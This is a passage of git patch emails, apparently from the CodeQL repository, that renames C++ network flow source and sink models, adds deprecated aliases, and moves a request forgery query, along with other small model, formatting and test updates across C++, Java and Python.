ArrayFunction, SideEffectFunction, + RemoteFlowSourceFunction { Recv() { this.hasGlobalName([ "recv", // recv(socket, dest, len, flags) "recvfrom", // recvfrom(socket, dest, len, flags, from, fromlen) + "recvmsg", // recvmsg(socket, msg, flags) "read", // read(socket, dest, len) "pread" // pread(socket, dest, len, offset) ]) @@ -29,7 +31,9 @@ private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, Rem override predicate parameterIsAlwaysReturned(int index) { none() } override predicate hasArrayWithVariableSize(int bufParam, int countParam) { - bufParam = 1 and countParam = 2 + not this.hasGlobalName("recvmsg") and + bufParam = 1 and + countParam = 2 } override predicate hasArrayInput(int bufParam) { this.hasGlobalName("recvfrom") and bufParam = 4 } @@ -47,6 +51,10 @@ private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, Rem or i = 5 and buffer = false ) + or + this.hasGlobalName("recvmsg") and + i = 1 and + buffer = true } override ParameterIndex getParameterSizeIndex(ParameterIndex i) { i = 1 and result = 2 } @@ -67,7 +75,11 @@ private class Recv extends AliasFunction, ArrayFunction, SideEffectFunction, Rem override predicate hasOnlySpecificWriteSideEffects() { any() } override predicate hasRemoteFlowSource(FunctionOutput output, string description) { - output.isParameterDeref(1) and + ( + output.isParameterDeref(1) + or + this.hasGlobalName("recvfrom") and output.isParameterDeref([4, 5]) + ) and description = "Buffer read by " + this.getName() } } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll index 414cbd13e7d..2a6cd0bac51 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Send.qll @@ -10,11 +10,12 @@ import semmle.code.cpp.models.interfaces.FlowSource import semmle.code.cpp.models.interfaces.SideEffect /** The function `send` and its assorted variants */ -private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, RemoteFlowFunctionSink { +private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, RemoteFlowSinkFunction { Send() { this.hasGlobalName([ "send", // send(socket, buf, len, flags) "sendto", // sendto(socket, buf, len, flags, to, tolen) + "sendmsg", // sendmsg(socket, msg, flags) "write" // write(socket, buf, len); ]) } @@ -28,7 +29,9 @@ private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, Rem override predicate parameterIsAlwaysReturned(int index) { none() } override predicate hasArrayWithVariableSize(int bufParam, int countParam) { - bufParam = 1 and countParam = 2 + not this.hasGlobalName("sendmsg") and + bufParam = 1 and + countParam = 2 } override predicate hasArrayInput(int bufParam) { bufParam = 1 } @@ -44,7 +47,9 @@ private class Send extends AliasFunction, ArrayFunction, SideEffectFunction, Rem override predicate hasSpecificReadSideEffect(ParameterIndex i, boolean buffer) { i = 1 and buffer = true or - exists(this.getParameter(4)) and i = 4 and buffer = false + this.hasGlobalName("sendto") and i = 4 and buffer = false + or + this.hasGlobalName("sendmsg") and i = 1 and buffer = true } override ParameterIndex getParameterSizeIndex(ParameterIndex i) { i = 1 and result = 2 } diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll index b3b5d8850ba..8f953761cdc 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll @@ -1,9 +1,9 @@ /** - * Provides a class for modeling functions that return data from potentially untrusted sources. To use - * this QL library, create a QL class extending `DataFlowFunction` with a + * Provides classes for modeling functions that return data from (or send data to) potentially untrusted + * sources. To use this QL library, create a QL class extending `DataFlowFunction` with a * characteristic predicate that selects the function or set of functions you * are modeling. Within that class, override the predicates provided by - * `RemoteFlowFunction` to match the flow within that function. + * `RemoteFlowSourceFunction` or `RemoteFlowSinkFunction` to match the flow within that function. */ import cpp @@ -13,7 +13,7 @@ import semmle.code.cpp.models.Models /** * A library function that returns data that may be read from a network connection. */ -abstract class RemoteFlowFunction extends Function { +abstract class RemoteFlowSourceFunction extends Function { /** * Holds if remote data described by `description` flows from `output` of a call to this function. */ @@ -23,7 +23,7 @@ abstract class RemoteFlowFunction extends Function { /** * A library function that returns data that is directly controlled by a user. */ -abstract class LocalFlowFunction extends Function { +abstract class LocalFlowSourceFunction extends Function { /** * Holds if data described by `description` flows from `output` of a call to this function. */ @@ -31,7 +31,7 @@ abstract class LocalFlowFunction extends Function { } /** A library function that sends data over a network connection. */ -abstract class RemoteFlowFunctionSink extends Function { +abstract class RemoteFlowSinkFunction extends Function { /** * Holds if data described by `description` flows into `input` to a call to this function, and is then * send over a network connection. diff --git a/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll index e3900f1799b..b080651951f 100644 --- a/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/src/semmle/code/cpp/security/FlowSources.qll @@ -23,7 +23,7 @@ private class RemoteReturnSource extends RemoteFlowSource { string sourceType; RemoteReturnSource() { - exists(RemoteFlowFunction func, CallInstruction instr, FunctionOutput output | + exists(RemoteFlowSourceFunction func, CallInstruction instr, FunctionOutput output | asInstruction() = instr and instr.getStaticCallTarget() = func and func.hasRemoteFlowSource(output, sourceType) and @@ -42,7 +42,7 @@ private class RemoteParameterSource extends RemoteFlowSource { string sourceType; RemoteParameterSource() { - exists(RemoteFlowFunction func, WriteSideEffectInstruction instr, FunctionOutput output | + exists(RemoteFlowSourceFunction func, WriteSideEffectInstruction instr, FunctionOutput output | asInstruction() = instr and instr.getPrimaryInstruction().(CallInstruction).getStaticCallTarget() = func and func.hasRemoteFlowSource(output, sourceType) and @@ -57,7 +57,7 @@ private class LocalReturnSource extends LocalFlowSource { string sourceType; LocalReturnSource() { - exists(LocalFlowFunction func, CallInstruction instr, FunctionOutput output | + exists(LocalFlowSourceFunction func, CallInstruction instr, FunctionOutput output | asInstruction() = instr and instr.getStaticCallTarget() = func and func.hasLocalFlowSource(output, sourceType) and @@ -76,7 +76,7 @@ private class LocalParameterSource extends LocalFlowSource { string sourceType; LocalParameterSource() { - exists(LocalFlowFunction func, WriteSideEffectInstruction instr, FunctionOutput output | + exists(LocalFlowSourceFunction func, WriteSideEffectInstruction instr, FunctionOutput output | asInstruction() = instr and instr.getPrimaryInstruction().(CallInstruction).getStaticCallTarget() = func and func.hasLocalFlowSource(output, sourceType) and @@ -109,7 +109,7 @@ private class RemoteParameterSink extends RemoteFlowSink { string sourceType; RemoteParameterSink() { - exists(RemoteFlowFunctionSink func, FunctionInput input, CallInstruction call, int index | + exists(RemoteFlowSinkFunction func, FunctionInput input, CallInstruction call, int index | func.hasRemoteFlowSink(input, sourceType) and call.getStaticCallTarget() = func | exists(ReadSideEffectInstruction read | diff --git a/cpp/ql/src/semmle/code/cpp/security/Security.qll b/cpp/ql/src/semmle/code/cpp/security/Security.qll index 15e9d86ad6a..d39c13a25a0 100644 --- a/cpp/ql/src/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/src/semmle/code/cpp/security/Security.qll @@ -60,17 +60,11 @@ class SecurityOptions extends string { or functionCall.getTarget().hasGlobalName(fname) and exists(functionCall.getArgument(arg)) and - ( - fname = "recvmsg" and arg = 1 - or - fname = "getaddrinfo" and arg = 3 - or - fname = "recvfrom" and - (arg = 1 or arg = 4 or arg = 5) - ) + fname = "getaddrinfo" and + arg = 3 ) or - exists(RemoteFlowFunction remote, FunctionOutput output | + exists(RemoteFlowSourceFunction remote, FunctionOutput output | functionCall.getTarget() = remote and output.isParameterDerefOrQualifierObject(arg) and remote.hasRemoteFlowSource(output, _) @@ -89,7 +83,7 @@ class SecurityOptions extends string { ) ) or - exists(RemoteFlowFunction remote, FunctionOutput output | + exists(RemoteFlowSourceFunction remote, FunctionOutput output | functionCall.getTarget() = remote and (output.isReturnValue() or output.isReturnValueDeref()) and remote.hasRemoteFlowSource(output, _) From 729c7f23719f494638c1fb011211cd3b67359e88 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 12 Feb 2021 10:53:34 +0100 Subject: [PATCH 1168/1241] C++: Add deprecated alias to RemoteFlowSourceFunction and LocalFlowSourceFunction. --- .../code/cpp/models/interfaces/FlowSource.qll | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll index 8f953761cdc..8c80377c8ec 100644 --- a/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll +++ b/cpp/ql/src/semmle/code/cpp/models/interfaces/FlowSource.qll @@ -20,6 +20,13 @@ abstract class RemoteFlowSourceFunction extends Function { abstract predicate hasRemoteFlowSource(FunctionOutput output, string description); } +/** + * DEPRECATED: Use `RemoteFlowSourceFunction` instead. + * + * A library function that returns data that may be read from a network connection. + */ +deprecated class RemoteFlowFunction = RemoteFlowSourceFunction; + /** * A library function that returns data that is directly controlled by a user. */ @@ -30,6 +37,13 @@ abstract class LocalFlowSourceFunction extends Function { abstract predicate hasLocalFlowSource(FunctionOutput output, string description); } +/** + * DEPRECATED: Use `LocalFlowSourceFunction` instead. + * + * A library function that returns data that is directly controlled by a user. + */ +deprecated class LocalFlowFunction = LocalFlowSourceFunction; + /** A library function that sends data over a network connection. */ abstract class RemoteFlowSinkFunction extends Function { /** From 1651f81ac8f2d9592321841ce978f5a95826aad7 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Fri, 12 Feb 2021 12:19:12 +0100 Subject: [PATCH 1169/1241] Python: Refactor to avoid confusing name After discussion with @yoff --- python/ql/src/semmle/python/frameworks/Django.qll | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index fee806ff8ef..6e90d5adee0 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -2024,8 +2024,15 @@ private module Django { result = djangoRouteHandlerFunctionTracker(DataFlow::TypeTracker::end(), func) } - /** A class that might be a django View class. */ - class PossibleDjangoViewClass extends Class { + /** + * In order to recognize a class as being a django view class, based on the `as_view` + * call, we need to be able to track such calls on _any_ class. This is provided by + * the member predicates of this QL class. + * + * As such, a Python class being part of `DjangoViewClassHelper` doesn't signify that + * we model it as a django view class. + */ + class DjangoViewClassHelper extends Class { /** Gets a reference to this class. */ private DataFlow::Node getARef(DataFlow::TypeTracker t) { t.start() and @@ -2061,7 +2068,7 @@ private module Django { } /** A class that we consider a django View class. */ - abstract class DjangoViewClass extends PossibleDjangoViewClass { + abstract class DjangoViewClass extends DjangoViewClassHelper { /** Gets a function that could handle incoming requests, if any. */ Function getARequestHandler() { // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with From 97df60f9d6284f9f8d3823d71c0f5fb32e6c2ecf Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Fri, 12 Feb 2021 12:12:16 +0000 Subject: [PATCH 1170/1241] Move misplaced experimental query into the conventional directory --- .../experimental/{ => Security/CWE}/CWE-918/RequestForgery.java | 0 .../{ => Security/CWE}/CWE-918/RequestForgery.qhelp | 0 .../experimental/{ => Security/CWE}/CWE-918/RequestForgery.ql | 0 .../experimental/{ => Security/CWE}/CWE-918/RequestForgery.qll | 0 .../query-tests/security/CWE-918/RequestForgery.qlref | 2 +- 5 files changed, 1 insertion(+), 1 deletion(-) rename java/ql/src/experimental/{ => Security/CWE}/CWE-918/RequestForgery.java (100%) rename java/ql/src/experimental/{ => Security/CWE}/CWE-918/RequestForgery.qhelp (100%) rename java/ql/src/experimental/{ => Security/CWE}/CWE-918/RequestForgery.ql (100%) rename java/ql/src/experimental/{ => Security/CWE}/CWE-918/RequestForgery.qll (100%) diff --git a/java/ql/src/experimental/CWE-918/RequestForgery.java b/java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.java similarity index 100% rename from java/ql/src/experimental/CWE-918/RequestForgery.java rename to java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.java diff --git a/java/ql/src/experimental/CWE-918/RequestForgery.qhelp b/java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.qhelp similarity index 100% rename from java/ql/src/experimental/CWE-918/RequestForgery.qhelp rename to java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.qhelp diff --git a/java/ql/src/experimental/CWE-918/RequestForgery.ql b/java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.ql similarity index 100% rename from java/ql/src/experimental/CWE-918/RequestForgery.ql rename to java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.ql diff --git a/java/ql/src/experimental/CWE-918/RequestForgery.qll b/java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.qll similarity index 100% rename from java/ql/src/experimental/CWE-918/RequestForgery.qll rename to java/ql/src/experimental/Security/CWE/CWE-918/RequestForgery.qll diff --git a/java/ql/test/experimental/query-tests/security/CWE-918/RequestForgery.qlref b/java/ql/test/experimental/query-tests/security/CWE-918/RequestForgery.qlref index 3d529ae5a2c..3e35024c212 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-918/RequestForgery.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-918/RequestForgery.qlref @@ -1 +1 @@ -experimental/CWE-918/RequestForgery.ql \ No newline at end of file +experimental/Security/CWE/CWE-918/RequestForgery.ql From 655cfb3a475432e5cb019207a065481102dfb93e Mon Sep 17 00:00:00 2001 From: Chris Smowton Date: Fri, 12 Feb 2021 12:24:19 +0000 Subject: [PATCH 1171/1241] Re-introduce deprecated versions of old Maven predicate names --- java/ql/src/semmle/code/xml/MavenPom.qll | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/java/ql/src/semmle/code/xml/MavenPom.qll b/java/ql/src/semmle/code/xml/MavenPom.qll index bbbb4580340..f13680b2b44 100644 --- a/java/ql/src/semmle/code/xml/MavenPom.qll +++ b/java/ql/src/semmle/code/xml/MavenPom.qll @@ -428,11 +428,21 @@ class MavenRepoJar extends File { ) } + /** + * DEPRECATED: name changed to `getGroupId` for consistent use of camel-case. + */ + deprecated string getGroupID() { result = getGroupId() } + /** * Gets the `artifactId` of this jar. */ string getArtifactId() { result = getParentContainer().getParentContainer().getBaseName() } + /** + * DEPRECATED: name changed to `getArtifactId` for consistent casing and consistent spelling with Maven. + */ + deprecated string getArtefactID() { result = getArtifactId() } + /** * Gets the artifact version string of this jar. */ @@ -446,6 +456,11 @@ class MavenRepoJar extends File { pom.getArtifact().getValue() = getArtifactId() } + /** + * DEPRECATED: name changed to `artifactMatches` for consistent spelling with Maven. + */ + deprecated predicate artefactMatches(ProtoPom pom) { artifactMatches(pom) } + /** * Holds if this jar is both an artifact for the POM, and has a version string that matches the POM * version string. Only soft and hard version matches are supported. From 49eda8ced626299e28d5257634369e7c9cc40570 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Fri, 12 Feb 2021 14:56:10 +0100 Subject: [PATCH 1172/1241] apply LSP formatter --- .../code/java/frameworks/apache/Lang.qll | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll index e31b2e30861..c9af49464e0 100644 --- a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll +++ b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll @@ -3,17 +3,18 @@ import java private import semmle.code.java.dataflow.FlowSteps -/** - * The class `org.apache.commons.lang.RandomStringUtils` or `org.apache.commons.lang3.RandomStringUtils`. +/** + * The class `org.apache.commons.lang.RandomStringUtils` or `org.apache.commons.lang3.RandomStringUtils`. */ class TypeApacheRandomStringUtils extends Class { TypeApacheRandomStringUtils() { - this.hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], "RandomStringUtils") + this.hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], + "RandomStringUtils") } } -/** - * The class `org.apache.commons.lang.ArrayUtils` or `org.apache.commons.lang3.ArrayUtils`. +/** + * The class `org.apache.commons.lang.ArrayUtils` or `org.apache.commons.lang3.ArrayUtils`. */ class TypeApacheArrayUtils extends Class { TypeApacheArrayUtils() { @@ -27,7 +28,9 @@ class TypeApacheArrayUtils extends Class { */ class MethodApacheSerializationUtilsDeserialize extends Method { MethodApacheSerializationUtilsDeserialize() { - this.getDeclaringType().hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], "SerializationUtils") and + this.getDeclaringType() + .hasQualifiedName(["org.apache.commons.lang", "org.apache.commons.lang3"], + "SerializationUtils") and this.hasName("deserialize") } } @@ -44,12 +47,16 @@ private class ApacheLangArrayUtilsTaintPreservingMethod extends TaintPreservingC this.hasName(["addAll", "addFirst"]) and src = [0 .. getNumberOfParameters()] or - this.hasName(["clone", "nullToEmpty", "remove", "removeAll", "removeElement", "removeElements", "reverse", "shift", "shuffle", "subarray", "swap", "toArray", "toMap", "toObject", "toPrimitive", "toString", "toStringArray"]) and + this.hasName([ + "clone", "nullToEmpty", "remove", "removeAll", "removeElement", "removeElements", "reverse", + "shift", "shuffle", "subarray", "swap", "toArray", "toMap", "toObject", "toPrimitive", + "toString", "toStringArray" + ]) and src = 0 or this.hasName("add") and this.getNumberOfParameters() = 2 and - src = [0,1,2] + src = [0, 1, 2] or this.hasName("add") and this.getNumberOfParameters() = 3 and From 8606386c2ce297221e08ff9cf81c261225a0d1c5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Fri, 12 Feb 2021 14:59:28 +0100 Subject: [PATCH 1173/1241] add bidirectional import --- java/ql/src/semmle/code/java/dataflow/FlowSteps.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/java/ql/src/semmle/code/java/dataflow/FlowSteps.qll b/java/ql/src/semmle/code/java/dataflow/FlowSteps.qll index d129ee6544e..cb219650414 100644 --- a/java/ql/src/semmle/code/java/dataflow/FlowSteps.qll +++ b/java/ql/src/semmle/code/java/dataflow/FlowSteps.qll @@ -16,6 +16,7 @@ module Frameworks { private import semmle.code.java.frameworks.Guice private import semmle.code.java.frameworks.Protobuf private import semmle.code.java.frameworks.guava.Guava + private import semmle.code.java.frameworks.apache.Lang } /** From 6b80a429139cd6748b87312b30543c0efacb7804 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Fri, 12 Feb 2021 15:03:11 +0100 Subject: [PATCH 1174/1241] apply LSP formatter and add missing dot --- java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll b/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll index 04b3be0a3dc..db5687f916a 100644 --- a/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll +++ b/java/ql/src/semmle/code/java/frameworks/SnakeYaml.qll @@ -17,12 +17,10 @@ class SnakeYamlSafeConstructor extends RefType { } /** - * An instance of `SafeConstructor` + * An instance of `SafeConstructor`. */ class SafeSnakeYamlConstruction extends ClassInstanceExpr { - SafeSnakeYamlConstruction() { - this.getConstructedType() instanceof SnakeYamlSafeConstructor - } + SafeSnakeYamlConstruction() { this.getConstructedType() instanceof SnakeYamlSafeConstructor } } /** From 7d294361dc2e762948a59344a64e753a7e02d7e8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Fri, 12 Feb 2021 15:40:44 +0100 Subject: [PATCH 1175/1241] Update java/ql/src/semmle/code/java/frameworks/apache/Lang.qll Co-authored-by: Joe Farebrother --- java/ql/src/semmle/code/java/frameworks/apache/Lang.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll index c9af49464e0..6f0d8739382 100644 --- a/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll +++ b/java/ql/src/semmle/code/java/frameworks/apache/Lang.qll @@ -56,7 +56,7 @@ private class ApacheLangArrayUtilsTaintPreservingMethod extends TaintPreservingC or this.hasName("add") and this.getNumberOfParameters() = 2 and - src = [0, 1, 2] + src = [0, 1] or this.hasName("add") and this.getNumberOfParameters() = 3 and From df91b8182cc5d30e07aa766b94f9c8410bfca676 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 12 Feb 2021 16:24:45 +0000 Subject: [PATCH 1176/1241] C++: Deprecate StdPairClass properly. --- .../semmle/code/cpp/models/implementations/StdPair.qll | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll index 42c3b9025f8..9076220cc22 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll @@ -7,10 +7,16 @@ import semmle.code.cpp.models.interfaces.Taint /** * An instantiation of `std::pair`. */ -class StdPair extends ClassTemplateInstantiation { +private class StdPair extends ClassTemplateInstantiation { StdPair() { this.hasQualifiedName(["std", "bsl"], "pair") } } +/** + * DEPRECATED: This is now called `StdPair` and is a private part of the + * library implementation. + */ +deprecated class StdPairClass = StdPair; + /** * Any of the single-parameter constructors of `std::pair` that takes a reference to an * instantiation of `std::pair`. These constructors allow conversion between pair types when the From d362b5aa654a4656fcd2974fc842f0b2c8ebbd01 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 12 Feb 2021 16:29:44 +0000 Subject: [PATCH 1177/1241] C++: StdSet should be private as well. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll index 68e78776968..d2e9892abcb 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll @@ -8,7 +8,7 @@ import semmle.code.cpp.models.interfaces.Iterator /** * An instantiation of `std::set` or `std::unordered_set`. */ -class StdSet extends ClassTemplateInstantiation { +private class StdSet extends ClassTemplateInstantiation { StdSet() { this.hasQualifiedName(["std", "bsl"], ["set", "unordered_set"]) } } From 74f05d569b7d6a8566781d6a7fbcfd26a4bb9fc9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 12 Feb 2021 17:41:32 +0000 Subject: [PATCH 1178/1241] C++: BSL support. --- .../cpp/models/implementations/StdString.qll | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 9f4c458815f..2ffd5916172 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -12,7 +12,7 @@ import semmle.code.cpp.models.interfaces.DataFlow * The `std::basic_string` template class instantiations. */ private class StdBasicString extends ClassTemplateInstantiation { - StdBasicString() { this.hasQualifiedName("std", "basic_string") } + StdBasicString() { this.hasQualifiedName(["std", "bsl"], "basic_string") } } /** @@ -127,7 +127,7 @@ private class StdStringFrontBack extends TaintFunction { */ private class StdStringPlus extends TaintFunction { StdStringPlus() { - this.hasQualifiedName("std", "operator+") and + this.hasQualifiedName(["std", "bsl"], "operator+") and this.getUnspecifiedType() instanceof StdBasicString } @@ -256,7 +256,7 @@ private class StdStringSubstr extends TaintFunction { * The `std::basic_stringstream` template class instantiations. */ private class StdBasicStringStream extends ClassTemplateInstantiation { - StdBasicStringStream() { this.hasQualifiedName("std", "basic_stringstream") } + StdBasicStringStream() { this.hasQualifiedName(["std", "bsl"], "basic_stringstream") } } /** @@ -280,7 +280,7 @@ private class StdStringAt extends TaintFunction { * The `std::basic_istream` template class instantiations. */ private class StdBasicIStream extends ClassTemplateInstantiation { - StdBasicIStream() { this.hasQualifiedName("std", "basic_istream") } + StdBasicIStream() { this.hasQualifiedName(["std", "bsl"], "basic_istream") } } /** @@ -314,7 +314,7 @@ private class StdIStreamIn extends DataFlowFunction, TaintFunction { */ private class StdIStreamInNonMember extends DataFlowFunction, TaintFunction { StdIStreamInNonMember() { - this.hasQualifiedName("std", "operator>>") and + this.hasQualifiedName(["std", "bsl"], "operator>>") and this.getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdBasicIStream } @@ -462,7 +462,7 @@ private class StdIStreamGetLine extends DataFlowFunction, TaintFunction { * The (non-member) function `std::getline`. */ private class StdGetLine extends DataFlowFunction, TaintFunction { - StdGetLine() { this.hasQualifiedName("std", "getline") } + StdGetLine() { this.hasQualifiedName(["std", "bsl"], "getline") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // flow from first parameter to return value @@ -488,7 +488,7 @@ private class StdGetLine extends DataFlowFunction, TaintFunction { * The `std::basic_ostream` template class instantiations. */ private class StdBasicOStream extends ClassTemplateInstantiation { - StdBasicOStream() { this.hasQualifiedName("std", "basic_ostream") } + StdBasicOStream() { this.hasQualifiedName(["std", "bsl"], "basic_ostream") } } /** @@ -535,7 +535,7 @@ private class StdOStreamOut extends DataFlowFunction, TaintFunction { */ private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { StdOStreamOutNonMember() { - this.hasQualifiedName("std", "operator<<") and + this.hasQualifiedName(["std", "bsl"], "operator<<") and this.getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdBasicOStream } @@ -609,7 +609,7 @@ private class StdStringStreamStr extends TaintFunction { * The `std::basic_ios` template class instantiations. */ private class StdBasicIOS extends ClassTemplateInstantiation { - StdBasicIOS() { this.hasQualifiedName("std", "basic_ios") } + StdBasicIOS() { this.hasQualifiedName(["std", "bsl"], "basic_ios") } } /** From 6d452521f75646a507f0f6509c61e6500e1a1581 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 12 Feb 2021 17:42:33 +0000 Subject: [PATCH 1179/1241] C++: Move StdBasicStringStream to a more logical location. --- .../code/cpp/models/implementations/StdString.qll | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 2ffd5916172..73a0f6edf26 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -252,13 +252,6 @@ private class StdStringSubstr extends TaintFunction { } } -/** - * The `std::basic_stringstream` template class instantiations. - */ -private class StdBasicStringStream extends ClassTemplateInstantiation { - StdBasicStringStream() { this.hasQualifiedName(["std", "bsl"], "basic_stringstream") } -} - /** * The `std::string` functions `at` and `operator[]`. */ @@ -563,6 +556,13 @@ private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { } } +/** + * The `std::basic_stringstream` template class instantiations. + */ +private class StdBasicStringStream extends ClassTemplateInstantiation { + StdBasicStringStream() { this.hasQualifiedName(["std", "bsl"], "basic_stringstream") } +} + /** * Additional model for `std::stringstream` constructors that take a string * input parameter. From 26324227832ef755a8620191e7ee3df728cc8639 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Fri, 12 Feb 2021 19:28:12 +0100 Subject: [PATCH 1180/1241] Python: Add FP test for unknown argument in string format Reported in https://github.com/github/codeql/issues/2650 I found this during a bit of spring cleaning in my working directory. As this doesn't have any immediate security implications, I don't know when we'll get round to fixing it, but it can't hurt to have the test case checked in. --- .../UnusedNamedArgumentIn3101Format.expected | 3 +++ .../Formatting/unknown_format_string.py | 25 +++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py diff --git a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected index 849920f8c07..462a9ed3992 100644 --- a/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected +++ b/python/ql/test/query-tests/Expressions/Formatting/UnusedNamedArgumentIn3101Format.expected @@ -6,3 +6,6 @@ | test.py:45:1:45:35 | format() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:39:14:39:18 | Str | any format used. | | test.py:46:1:46:34 | Attribute() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:37:14:37:18 | Str | any format used. | | test.py:46:1:46:34 | Attribute() | Surplus named argument for string format. An argument named 'z' is provided, but it is not required by $@. | test.py:39:14:39:18 | Str | any format used. | +| unknown_format_string.py:9:12:9:30 | Attribute() | Surplus named argument for string format. An argument named 'b' is provided, but it is not required by $@. | unknown_format_string.py:8:15:8:19 | Str | format "{a}" | +| unknown_format_string.py:17:12:17:30 | Attribute() | Surplus named argument for string format. An argument named 'b' is provided, but it is not required by $@. | unknown_format_string.py:16:15:16:19 | Str | format "{a}" | +| unknown_format_string.py:25:12:25:30 | Attribute() | Surplus named argument for string format. An argument named 'b' is provided, but 